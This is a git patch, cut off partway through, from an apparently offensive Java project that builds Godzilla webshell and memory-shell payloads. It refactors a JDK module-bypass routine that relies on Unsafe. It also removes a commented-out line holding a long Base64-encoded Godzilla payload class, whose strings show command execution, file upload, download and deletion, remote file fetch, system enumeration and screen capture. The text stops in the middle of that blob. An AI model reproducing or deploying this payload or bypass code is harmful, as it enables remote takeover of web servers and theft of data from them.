From 75ea80f1530547cdfe84d63877da2dae035fa627 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 4 Dec 2024 22:40:58 +0800 Subject: [PATCH] refactor: simplify code --- .../buddy/ByPassJdkModuleInterceptor.java | 6 ++---- .../javaweb/godzilla/GodzillaManager.java | 16 ++++++-------- .../reajason/javaweb/godzilla/Payload.java | 14 ++++++------- .../javaweb/memsell/GodzillaGenerator.java | 10 +-------- .../reajason/javaweb/util/ClassDefiner.java | 10 +++++++++ .../com/reajason/javaweb/util/ClassUtils.java | 21 +------------------ .../com/reajason/javaweb/util/CommonUtil.java | 1 + .../tomcat/godzilla/GodzillaValveTest.java | 4 ++-- .../javaweb/integration/CommandShellTool.java | 2 ++ .../src/main/java/ScriptEngineServlet.java | 2 -- 10 files changed, 32 insertions(+), 54 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/util/ClassDefiner.java diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java index 407a62e8..8c0097a9 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java @@ -27,11 +27,9 @@ public class ByPassJdkModuleInterceptor { java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Object unsafe = unsafeField.get(null); - java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule"); - Object module = getModuleM.invoke(Object.class, (Object[]) null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); - java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module"); - Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); getAndSetObjectM.invoke(unsafe, clazz, offset, module); returnValue = true; diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 9805bc98..a799ce91 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -131,28 +131,24 @@ public class GodzillaManager implements Closeable { } public boolean start() { -// byte[] bytes = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAE